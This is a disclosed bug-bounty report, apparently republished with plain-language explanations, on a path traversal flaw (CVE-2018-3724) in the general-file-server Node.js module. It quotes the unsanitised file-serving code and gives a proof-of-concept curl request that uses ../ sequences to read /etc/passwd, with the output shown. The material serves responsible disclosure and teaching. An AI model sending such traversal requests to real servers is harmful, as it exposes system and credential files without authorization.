Skip to content
Path traversal Disclosed report Beginner CVE-2018-3724

[general-file-server] Path Traversal vulnerability allows to read content on arbitrary file on the server

The general-file-server Node.js module fails to sanitise file paths, allowing an attacker to read arbitrary files on the server. By sending a crafted request with directory traversal sequences, an attacker can access sensitive files outside the intended root directory.

bl4de Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 5 hours
  • Fixed in 38 days
  • Disclosed after 38 days

Hi Guys,

There is Path Traversal in general-file-server module. It allows to read content of arbitrary files on the remote server.

Module

general-file-server

This is a general file server made by nodejs. It will be easy for you to access the files on the server through the browser.

https://www.npmjs.com/package/general-file-server

version: 1.1.8

Stats 1 download in the last day 17 downloads in the last week 67 downloads in the last month

~750 estimated downloads per year

Description

Lack of file path sanitization causes that any file on the server might be read by malicious user, despite the fact that there is root_path setting in module's config.js file:

JavaScript
// sample config.js
module.exports = {
    hostname: '127.0.0.1',
    port: 8080,
    root_path: "./",
    title: "General File Server",
    logo_link: "/____statics/logo.png"
}

Here's the code which causes issue:

JavaScript
// node_modules/general-file-server/server.js, line 77
if (pathname.search('____statics') == 1) {
        currpath = __dirname + pathname

        fs.stat(currpath, function (err, stat) {
            if (err || stat.isDirectory()) {
                endupwith404(res)
            } else {
                res.writeHeader(200, {
                    'Content-Type': mime.lookup(currpath)
                })
                fs.createReadStream(currpath).pipe(res)
            }
        })
    }

As you can see, currpath is passed to fs.createFileStream() and piped directly into Response object withou any sanitization against Path Traversal.

Steps To Reproduce:

  • install general-file-server:
$ npm install general-file-server
  • run general-file-server in direcotry of your choice. It will use settings from config.js file:
me:~/playground/hackerone/Node$ ./node_modules/general-file-server/server.js
> serving "./" http://127.0.0.1:8080
  • execute following curl command (adjust number of ../ to reflect your system):
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../../../etc/passwd
  • see result:
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /../../../../../../etc/passwd HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Date: Wed, 31 Jan 2018 12:53:13 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
< 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
(...)

Supporting Material/References:

  • Ubuntu 16.04 LTS
  • Chromium 66.0.3333.0 (Developer Build) (64-bit)
  • Node.js version: v8.9.4 LTS
  • npm version: 5.6.0
  • curl 7.47.0

Please feel free to invite module maintainer to this report. I haven't contacted maintainer as I want to keep the process of fixing and disclosing bug consistent through HackerOne platform only.

I hope my report will help to keep Node.js ecosystem and its users safe in the future.

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows malicious user to read content of any file on the server

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The server constructs a file path from user input without sanitising it, allowing directory traversal sequences to escape the intended root directory.

Impact

This vulnerability allows malicious user to read content of any file on the server.

What the attacker needed

General-file-server module installed and running

How it was found

  1. Install the general-file-server module.
  2. Run the server in a directory of your choice.
  3. Send a request with directory traversal sequences to read a file outside the root.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A file server is supposed to show only files inside a chosen folder. Here, the server did not check the path properly, so someone could ask for files outside that folder, like system password files. This is called path traversal.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.